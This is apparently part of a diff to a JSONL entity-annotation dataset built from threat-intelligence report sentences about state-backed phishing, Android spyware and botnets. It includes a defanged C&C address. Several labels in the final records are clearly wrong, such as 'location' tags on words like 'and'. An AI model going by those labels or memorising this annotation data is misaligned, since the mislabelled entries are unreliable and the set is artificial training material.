domestic support in Russia for the war.","entities":[{"id":50713,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]} {"id":4804,"text":"Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.","entities":[{"id":50714,"label":"identity","start_offset":48,"end_offset":51},{"id":50715,"label":"threat-actor","start_offset":88,"end_offset":93},{"id":50719,"label":"SOFTWARE","start_offset":183,"end_offset":190},{"id":50716,"label":"location","start_offset":126,"end_offset":132},{"id":50717,"label":"identity","start_offset":135,"end_offset":165},{"id":50718,"label":"identity","start_offset":221,"end_offset":244}],"relations":[{"id":994,"from_id":50717,"to_id":50716,"type":"located-at"},{"id":995,"from_id":50715,"to_id":50717,"type":"attributed-to"},{"id":996,"from_id":50715,"to_id":50718,"type":"impersonates"},{"id":997,"from_id":50715,"to_id":50719,"type":"uses"}],"Comments":[]} {"id":4805,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[{"id":50720,"label":"threat-actor","start_offset":36,"end_offset":41},{"id":50721,"label":"SOFTWARE","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]} {"id":4806,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":50722,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]} @@ -1905,11 +3865,9 @@ {"id":4825,"text":"An example of this technique, used to target Facebook users, can be seen in the screenshot below.","entities":[{"id":50772,"label":"SOFTWARE","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]} {"id":4826,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":50774,"label":"location","start_offset":13,"end_offset":20},{"id":50775,"label":"threat-actor","start_offset":65,"end_offset":73},{"id":50773,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":50776,"label":"attack-pattern","start_offset":93,"end_offset":119}],"relations":[{"id":1013,"from_id":50773,"to_id":50774,"type":"located-at"},{"id":1014,"from_id":50775,"to_id":50773,"type":"duplicate-of"}],"Comments":[]} {"id":4827,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":50777,"label":"attack-pattern","start_offset":25,"end_offset":39},{"id":50779,"label":"SOFTWARE","start_offset":135,"end_offset":154},{"id":50778,"label":"SOFTWARE","start_offset":118,"end_offset":130}],"relations":[],"Comments":[]} -{"id":4828,"text":"In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.","entities":[{"id":50780,"label":"location","start_offset":35,"end_offset":42}],"relations":[],"Comments":[]} {"id":4829,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":50782,"label":"SOFTWARE","start_offset":49,"end_offset":69},{"id":50781,"label":"attack-pattern","start_offset":6,"end_offset":14}],"relations":[],"Comments":[]} {"id":4830,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":50783,"label":"identity","start_offset":71,"end_offset":78},{"id":50785,"label":"SOFTWARE","start_offset":204,"end_offset":219},{"id":50786,"label":"tools","start_offset":257,"end_offset":270},{"id":50784,"label":"identity","start_offset":136,"end_offset":175},{"id":14710,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":14713,"label":"threat-actor","start_offset":82,"end_offset":90}],"relations":[{"id":1015,"from_id":14713,"to_id":14710,"type":"duplicate-of"},{"id":1016,"from_id":14710,"to_id":50784,"type":"targets"},{"id":1017,"from_id":14710,"to_id":50785,"type":"uses"},{"id":1018,"from_id":14710,"to_id":50786,"type":"uses"}],"Comments":[]} {"id":4831,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":50787,"label":"SOFTWARE","start_offset":65,"end_offset":70}],"relations":[],"Comments":[]} -{"id":4832,"text":"Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.","entities":[{"id":50788,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]} {"id":4833,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.","entities":[{"id":50790,"label":"identity","start_offset":11,"end_offset":14},{"id":50789,"label":"identity","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]} {"id":4834,"text":"Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":50791,"label":"attack-pattern","start_offset":68,"end_offset":81}],"relations":[],"Comments":[]} {"id":4835,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":50792,"label":"attack-pattern","start_offset":123,"end_offset":136}],"relations":[],"Comments":[]} @@ -1925,14 +3883,11 @@ {"id":4845,"text":"We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.","entities":[{"id":50804,"label":"location","start_offset":22,"end_offset":28},{"id":50805,"label":"identity","start_offset":29,"end_offset":48}],"relations":[{"id":1019,"from_id":50805,"to_id":50804,"type":"located-at"}],"Comments":[]} {"id":4846,"text":"The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.","entities":[{"id":50806,"label":"attack-pattern","start_offset":26,"end_offset":39}],"relations":[],"Comments":[]} {"id":4847,"text":"A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.","entities":[{"id":50812,"label":"location","start_offset":200,"end_offset":206},{"id":50809,"label":"location","start_offset":96,"end_offset":102},{"id":50807,"label":"location","start_offset":26,"end_offset":32},{"id":50808,"label":"identity","start_offset":33,"end_offset":55},{"id":50810,"label":"location","start_offset":132,"end_offset":139},{"id":50811,"label":"location","start_offset":166,"end_offset":173}],"relations":[{"id":1020,"from_id":50808,"to_id":50807,"type":"located-at"},{"id":1021,"from_id":50808,"to_id":50809,"type":"targets"},{"id":1023,"from_id":50808,"to_id":50811,"type":"targets"},{"id":1024,"from_id":50808,"to_id":50812,"type":"targets"},{"id":1022,"from_id":50808,"to_id":50810,"type":"targets"}],"Comments":[]} -{"id":4848,"text":"India","entities":[{"id":50813,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} {"id":4849,"text":"Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.","entities":[{"id":50814,"label":"TIME","start_offset":6,"end_offset":10},{"id":50815,"label":"location","start_offset":55,"end_offset":61},{"id":50816,"label":"attack-pattern","start_offset":62,"end_offset":75},{"id":50817,"label":"location","start_offset":123,"end_offset":129},{"id":50818,"label":"identity","start_offset":159,"end_offset":164},{"id":50819,"label":"identity","start_offset":169,"end_offset":177}],"relations":[],"Comments":[]} {"id":4850,"text":"One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.","entities":[{"id":50820,"label":"location","start_offset":95,"end_offset":107},{"id":50821,"label":"location","start_offset":113,"end_offset":133},{"id":50822,"label":"location","start_offset":139,"end_offset":146},{"id":50823,"label":"campaign","start_offset":152,"end_offset":181}],"relations":[{"id":1025,"from_id":50823,"to_id":50822,"type":"targets"},{"id":1026,"from_id":50823,"to_id":50820,"type":"targets"},{"id":1027,"from_id":50823,"to_id":50821,"type":"targets"}],"Comments":[]} {"id":4851,"text":"These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.","entities":[{"id":50825,"label":"campaign","start_offset":6,"end_offset":35},{"id":50826,"label":"SOFTWARE","start_offset":100,"end_offset":103},{"id":50827,"label":"SOFTWARE","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]} {"id":4852,"text":"TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.","entities":[{"id":50828,"label":"identity","start_offset":0,"end_offset":3},{"id":50829,"label":"identity","start_offset":40,"end_offset":45},{"id":50831,"label":"identity","start_offset":62,"end_offset":68},{"id":50830,"label":"identity","start_offset":50,"end_offset":58}],"relations":[],"Comments":[]} -{"id":4853,"text":"Russia","entities":[{"id":50832,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} {"id":4854,"text":"While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.","entities":[{"id":50833,"label":"TIME","start_offset":22,"end_offset":26},{"id":50835,"label":"location","start_offset":201,"end_offset":207},{"id":50834,"label":"campaign","start_offset":27,"end_offset":55},{"id":50836,"label":"identity","start_offset":213,"end_offset":254}],"relations":[],"Comments":[]} -{"id":4855,"text":"But what stuck out during this investigation was the breadth of targeting, which also included individuals that had no affiliation with the selected organizations, and appeared to be regular, everyday citizens in Russia and surrounding countries.","entities":[{"id":50837,"label":"location","start_offset":213,"end_offset":219}],"relations":[],"Comments":[]} {"id":4856,"text":"This hack-for-hire actor has been publicly referred to as 'Void Balaur'.","entities":[{"id":50838,"label":"attack-pattern","start_offset":5,"end_offset":18},{"id":14831,"label":"threat-actor","start_offset":59,"end_offset":70}],"relations":[],"Comments":[]} {"id":4857,"text":"These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.","entities":[{"id":50839,"label":"attack-pattern","start_offset":67,"end_offset":86}],"relations":[],"Comments":[]} {"id":4858,"text":"The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.","entities":[{"id":50841,"label":"location","start_offset":95,"end_offset":102},{"id":50840,"label":"SOFTWARE","start_offset":27,"end_offset":32}],"relations":[],"Comments":[]} @@ -2090,7 +4045,6 @@ {"id":5010,"text":"Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":51063,"label":"identity","start_offset":0,"end_offset":36},{"id":51064,"label":"location","start_offset":95,"end_offset":109},{"id":51065,"label":"location","start_offset":136,"end_offset":143}],"relations":[],"Comments":[]} {"id":5011,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":51066,"label":"identity","start_offset":23,"end_offset":26},{"id":51067,"label":"attack-pattern","start_offset":106,"end_offset":122}],"relations":[],"Comments":[]} {"id":5012,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[],"relations":[],"Comments":[]} -{"id":5013,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":51071,"label":"location","start_offset":59,"end_offset":65},{"id":51072,"label":"location","start_offset":125,"end_offset":132},{"id":51068,"label":"location","start_offset":30,"end_offset":35},{"id":51069,"label":"location","start_offset":37,"end_offset":41},{"id":51070,"label":"location","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]} {"id":5014,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]} {"id":5015,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[{"id":51073,"label":"identity","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]} {"id":5016,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]} @@ -2108,7 +4062,6 @@ {"id":5028,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[],"relations":[],"Comments":[]} {"id":5029,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":51097,"label":"SOFTWARE","start_offset":49,"end_offset":69}],"relations":[],"Comments":[]} {"id":5030,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":51098,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":51100,"label":"location","start_offset":72,"end_offset":82},{"id":51101,"label":"SOFTWARE","start_offset":180,"end_offset":185},{"id":51102,"label":"attack-pattern","start_offset":199,"end_offset":218},{"id":51099,"label":"threat-actor","start_offset":57,"end_offset":68}],"relations":[{"id":1043,"from_id":51099,"to_id":51100,"type":"located-at"},{"id":1044,"from_id":51099,"to_id":51101,"type":"uses"},{"id":1045,"from_id":51099,"to_id":51102,"type":"uses"}],"Comments":[]} -{"id":5031,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":51103,"label":"location","start_offset":50,"end_offset":57}],"relations":[],"Comments":[]} {"id":5032,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]} {"id":5033,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[{"id":51104,"label":"identity","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]} {"id":5034,"text":"Both pages from this campaign are shown below.","entities":[],"relations":[],"Comments":[]} @@ -2122,12 +4075,9 @@ {"id":5042,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[],"relations":[],"Comments":[]} {"id":5043,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]} {"id":5044,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]} -{"id":5045,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":51126,"label":"location","start_offset":53,"end_offset":60},{"id":51127,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]} {"id":5046,"text":"In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":51129,"label":"identity","start_offset":16,"end_offset":52},{"id":51130,"label":"location","start_offset":137,"end_offset":144},{"id":51128,"label":"TIME","start_offset":3,"end_offset":14}],"relations":[],"Comments":[]} {"id":5047,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":51131,"label":"identity","start_offset":23,"end_offset":26},{"id":51132,"label":"attack-pattern","start_offset":106,"end_offset":134}],"relations":[],"Comments":[]} -{"id":5048,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":51136,"label":"location","start_offset":59,"end_offset":65},{"id":51137,"label":"location","start_offset":125,"end_offset":132},{"id":51133,"label":"location","start_offset":30,"end_offset":35},{"id":51134,"label":"location","start_offset":37,"end_offset":41},{"id":51135,"label":"location","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]} {"id":5049,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]} -{"id":5050,"text":"For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.","entities":[{"id":51138,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]} {"id":5051,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[{"id":51139,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} {"id":5052,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[{"id":51140,"label":"identity","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]} {"id":5053,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]} @@ -2146,10 +4096,8 @@ {"id":5066,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":51172,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":51173,"label":"attack-pattern","start_offset":30,"end_offset":49}],"relations":[{"id":1067,"from_id":51172,"to_id":51173,"type":"uses"}],"Comments":[]} {"id":5067,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[],"relations":[],"Comments":[]} {"id":5068,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[],"relations":[],"Comments":[]} -{"id":5069,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":51174,"label":"location","start_offset":53,"end_offset":60},{"id":51175,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]} {"id":5070,"text":"On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.","entities":[{"id":51176,"label":"TIME","start_offset":3,"end_offset":14},{"id":51177,"label":"identity","start_offset":16,"end_offset":37},{"id":51178,"label":"threat-actor","start_offset":62,"end_offset":108},{"id":51179,"label":"vulnerability","start_offset":122,"end_offset":157},{"id":51180,"label":"vulnerability","start_offset":169,"end_offset":182},{"id":51181,"label":"SOFTWARE","start_offset":161,"end_offset":167}],"relations":[{"id":1068,"from_id":51179,"to_id":51180,"type":"duplicate-of"},{"id":1069,"from_id":51181,"to_id":51180,"type":"has"},{"id":1070,"from_id":51178,"to_id":51180,"type":"exploits"}],"Comments":[]} {"id":5071,"text":"These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.","entities":[{"id":51183,"label":"campaign","start_offset":76,"end_offset":95},{"id":51182,"label":"campaign","start_offset":52,"end_offset":71}],"relations":[],"Comments":[]} -{"id":5072,"text":"We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.","entities":[{"id":51184,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]} {"id":5073,"text":"However, other organizations and countries may have been targeted.","entities":[],"relations":[],"Comments":[]} {"id":5074,"text":"One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.","entities":[],"relations":[],"Comments":[]} {"id":5075,"text":"The exploit was patched on February 14, 2022.","entities":[{"id":51185,"label":"TIME","start_offset":27,"end_offset":44}],"relations":[],"Comments":[]} @@ -2305,7 +4253,6 @@ {"id":5225,"text":" Tags Exploits & Vulnerabilities | Research | Cyber Threats | ICS OT | APT & Targeted Attacks | Compliance & Risks | IoT | Articles, News, Reports","entities":[],"relations":[],"Comments":[]} {"id":5226,"text":"Android malware like ransomware exemplify how the platform can be lucrative for cybercriminals.","entities":[{"id":51259,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} {"id":5227,"text":"But there are also other threats stirring up as of late: attacks that spy on and steal data from specific targets, crossing over between desktops and mobile devices.","entities":[],"relations":[],"Comments":[]} -{"id":5228,"text":"Take for instance several malicious apps we came across with cyberespionage capabilities, which were targeting Arabic-speaking users or Middle Eastern countries.","entities":[{"id":51260,"label":"location","start_offset":136,"end_offset":150}],"relations":[],"Comments":[]} {"id":5229,"text":"These were published on Google Play — but have since been taken down — and third-party app marketplaces.","entities":[{"id":51261,"label":"SOFTWARE","start_offset":24,"end_offset":35}],"relations":[],"Comments":[]} {"id":5230,"text":"We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware’s payload is a package called watchdog.","entities":[{"id":51263,"label":"malware","start_offset":111,"end_offset":119},{"id":51262,"label":"malware","start_offset":41,"end_offset":60},{"id":16073,"label":"malware","start_offset":30,"end_offset":39}],"relations":[{"id":1072,"from_id":51262,"to_id":16073,"type":"duplicate-of"}],"Comments":[]} {"id":5231,"text":"We construe AnubisSpy to be linked to the cyberespionage campaign Sphinx (APT-C-15) based on shared file structures and command-and-control (C&C) server as well as targets.","entities":[{"id":51265,"label":"campaign","start_offset":65,"end_offset":83},{"id":51264,"label":"malware","start_offset":12,"end_offset":21}],"relations":[],"Comments":[]} @@ -2327,7 +4274,6 @@ {"id":5247,"text":"Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.","entities":[{"id":51283,"label":"TIME","start_offset":26,"end_offset":35},{"id":51285,"label":"TIME","start_offset":126,"end_offset":130},{"id":51282,"label":"campaign","start_offset":0,"end_offset":6},{"id":51284,"label":"TIME","start_offset":40,"end_offset":53}],"relations":[],"Comments":[]} {"id":5248,"text":"A simple WHOIS query of AnubisSpy’s C&C server showed it abused a legitimate managed hosting service provider in Belize.","entities":[{"id":51286,"label":"location","start_offset":113,"end_offset":119},{"id":16127,"label":"malware","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]} {"id":5249,"text":"We correlated the AnubisSpy variants to Sphinx’s desktop\/PC-targeting malware through the following: Shared C&C server, 86[.]105[.]18[.]107 Shared technique of decrypting JSON files, and similarity between the file structures of AnubisSpy and Sphinx’s malware Similar targets (highly concentrated in Middle Eastern countries) Figure 2: Comparison of file structure in Sphinx’s desktop\/PC-targeting malware (left) and AnubisSpy (right)","entities":[{"id":51288,"label":"malware","start_offset":18,"end_offset":27},{"id":51287,"label":"location","start_offset":301,"end_offset":315},{"id":16131,"label":"IPV4","start_offset":121,"end_offset":140},{"id":16134,"label":"malware","start_offset":230,"end_offset":239},{"id":16130,"label":"campaign","start_offset":40,"end_offset":46},{"id":16142,"label":"malware","start_offset":422,"end_offset":431},{"id":16140,"label":"campaign","start_offset":373,"end_offset":379},{"id":16136,"label":"campaign","start_offset":244,"end_offset":250}],"relations":[{"id":1074,"from_id":16130,"to_id":51288,"type":"uses"},{"id":1075,"from_id":16131,"to_id":16130,"type":"indicates"},{"id":1076,"from_id":16136,"to_id":51287,"type":"targets"},{"id":1077,"from_id":16134,"to_id":51287,"type":"targets"}],"Comments":[]} -{"id":5250,"text":"These apps were all written in Arabic and, in one way or another, related to something in Egypt (i.e., spoofing an Egypt-based TV program and using news\/stories in the Middle East) regardless of the labels and objects in the apps.","entities":[{"id":51289,"label":"location","start_offset":90,"end_offset":95},{"id":51290,"label":"location","start_offset":168,"end_offset":179}],"relations":[],"Comments":[]} {"id":5251,"text":"Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.","entities":[{"id":51291,"label":"identity","start_offset":22,"end_offset":28},{"id":51292,"label":"location","start_offset":111,"end_offset":122}],"relations":[],"Comments":[]} {"id":5252,"text":" Was AnubisSpy actively distributed?","entities":[{"id":51293,"label":"malware","start_offset":5,"end_offset":14}],"relations":[],"Comments":[]} {"id":5253,"text":"We analyzed seven apps that were actually AnubisSpy.","entities":[{"id":51294,"label":"malware","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]} @@ -2471,9 +4417,7 @@ {"id":5391,"text":"We have observed that some of the WatchGuard and Asus bots were never cleaned up because these routers still try to connect periodically to old C&Cs that were secured or taken offline.","entities":[],"relations":[],"Comments":[]} {"id":5392,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]} {"id":5393,"text":"The timeline of several SSL certificates that were issued for Cyclops Blink C&Cs Our investigation shows that there are more than 200 Cyclops Blink victims around the world.","entities":[{"id":51386,"label":"malware","start_offset":139,"end_offset":152}],"relations":[],"Comments":[]} -{"id":5394,"text":"Typical countries of infected WatchGuard devices and Asus routers are the United States, India, Italy, Canada, and a long list of other countries, including Russia.","entities":[{"id":51387,"label":"location","start_offset":74,"end_offset":87},{"id":51388,"label":"location","start_offset":89,"end_offset":94},{"id":51390,"label":"location","start_offset":103,"end_offset":109},{"id":51391,"label":"location","start_offset":157,"end_offset":163},{"id":51389,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} {"id":5395,"text":"It should be noted that these victims do not appear to be evidently valuable targets for either economic, military, or political espionage.","entities":[],"relations":[],"Comments":[]} -{"id":5396,"text":"For example, some of the live C&Cs are hosted on WatchGuard devices used by a law firm in Europe, a medium-sized company producing medical equipment for dentists in Southern Europe and a plumber in the United States.","entities":[{"id":51392,"label":"location","start_offset":165,"end_offset":180},{"id":51393,"label":"location","start_offset":202,"end_offset":215},{"id":51394,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]} {"id":5397,"text":"This is in line with the increasing number of brute-force attacks performed by other APT groups such as Pawn Storm, a group that has compromised numerous assets like email addresses and email servers of targets that are typically not aligned with Pawn Storm’s objectives.","entities":[{"id":51395,"label":"threat-actor","start_offset":104,"end_offset":114},{"id":51396,"label":"threat-actor","start_offset":247,"end_offset":257}],"relations":[],"Comments":[]} {"id":5398,"text":"Just like Pawn Storm, Sandworm is fishing with a wide net or looking to compromise assets on a larger scale.","entities":[{"id":51397,"label":"threat-actor","start_offset":10,"end_offset":20},{"id":51398,"label":"threat-actor","start_offset":22,"end_offset":30}],"relations":[],"Comments":[]} {"id":5399,"text":" Figure 13.","entities":[],"relations":[],"Comments":[]} @@ -2521,14 +4465,12 @@ {"id":5441,"text":" Tags APT & Targeted Attacks | IoT | Research | Articles, News, Reports","entities":[],"relations":[],"Comments":[]} {"id":5442,"text":"The Brazilian Central Bank recently announced that 2017 was the first year in which people did more banking using mobile devices than on PCs.","entities":[{"id":51441,"label":"identity","start_offset":4,"end_offset":26},{"id":51442,"label":"TIME","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]} {"id":5443,"text":"There were 24.5 billion mobile banking transactions while there were 20.6 billion PC-based transactions.","entities":[],"relations":[],"Comments":[]} -{"id":5444,"text":" Not all countries are embracing mobile banking as quickly as Brazil.","entities":[{"id":51443,"label":"location","start_offset":62,"end_offset":68}],"relations":[],"Comments":[]} {"id":5445,"text":"But, mobile banking use is picking up around the globe.","entities":[],"relations":[],"Comments":[]} {"id":5446,"text":" What is it?","entities":[],"relations":[],"Comments":[]} {"id":5447,"text":" As more people move to mobile banking, we believe attackers will focus their attacks away from PC banking and towards mobile banking.","entities":[],"relations":[],"Comments":[]} {"id":5448,"text":"This means the risks of losing control of your accounts through mobile online banking are likely to increase.","entities":[],"relations":[],"Comments":[]} {"id":5449,"text":"And that means the money in your accounts is at risk.","entities":[],"relations":[],"Comments":[]} {"id":5450,"text":" Why should I care, what can it do to me? Attackers are predictable: they follow people and money.","entities":[],"relations":[],"Comments":[]} -{"id":5451,"text":"Brazil was one of the first countries to widely embrace Internet banking and to see attackers go after Internet banking.","entities":[{"id":51444,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} {"id":5452,"text":" What can I do about it?","entities":[],"relations":[],"Comments":[]} {"id":5453,"text":" It’s time to take precautions and start good mobile banking security habits.","entities":[],"relations":[],"Comments":[]} {"id":5454,"text":"About Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]} @@ -2537,7 +4479,6 @@ {"id":5457,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} {"id":5458,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} {"id":5459,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} -{"id":5460,"text":"In today’s online chat and dating scene, romance scams are not uncommon, what with catfishers and West African cybercriminals potently toying with their victims’ emotions to cash in on their bank accounts.","entities":[{"id":51447,"label":"location","start_offset":98,"end_offset":110}],"relations":[],"Comments":[]} {"id":5461,"text":"It’s quite odd (and probably underreported), however, to see it used as a vector for cyberespionage.","entities":[],"relations":[],"Comments":[]} {"id":5462,"text":"We stumbled upon the Confucius hacking group while delving into Patchwork’s cyberespionage operations, and found a number of similarities.","entities":[{"id":51448,"label":"threat-actor","start_offset":64,"end_offset":73},{"id":51449,"label":"threat-actor","start_offset":21,"end_offset":30}],"relations":[{"id":1096,"from_id":51449,"to_id":51448,"type":"related-to"}],"Comments":[]} {"id":5463,"text":"Code in their custom malware bore similarities, for instance.","entities":[],"relations":[],"Comments":[]} @@ -2636,545 +4577,225 @@ {"id":5556,"text":" However, the most effective way to stay safe is to use Trend Micro Security.","entities":[],"relations":[],"Comments":[]} {"id":5557,"text":" How Trend Micro can help Trend Micro Security features two key mechanisms to help stop Magecart attacks:","entities":[{"id":51773,"label":"malware","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]} {"id":5558,"text":" It can detect whether the website you want to visit has been injected with skimming code, and block you from visiting the URL (via web reputation), as well as from going to malicious domains the skimming code has access to.","entities":[],"relations":[],"Comments":[]} -{"id":5559,"text":" It uses a combination of techniques (via its Advanced Threat Scanning Engine and TrendX-File machine learning) to detect whether the malicious JavaScript code has landed on your local drive and is ready to run in your browser – and then blocks it.","entities":[{"id":17108,"label":"location","start_offset":78,"end_offset":81},{"id":17109,"label":"location","start_offset":191,"end_offset":194},{"id":17110,"label":"location","start_offset":229,"end_offset":232}],"relations":[],"Comments":[]} -{"id":5560,"text":"This can spot both Magecart and similar digital skimming code.","entities":[{"id":17111,"label":"location","start_offset":5,"end_offset":8},{"id":17113,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} -{"id":5561,"text":" Read our Security Intelligence Blog for more technical details on Magecart.","entities":[{"id":17114,"label":"location","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} -{"id":5562,"text":"Then go to our 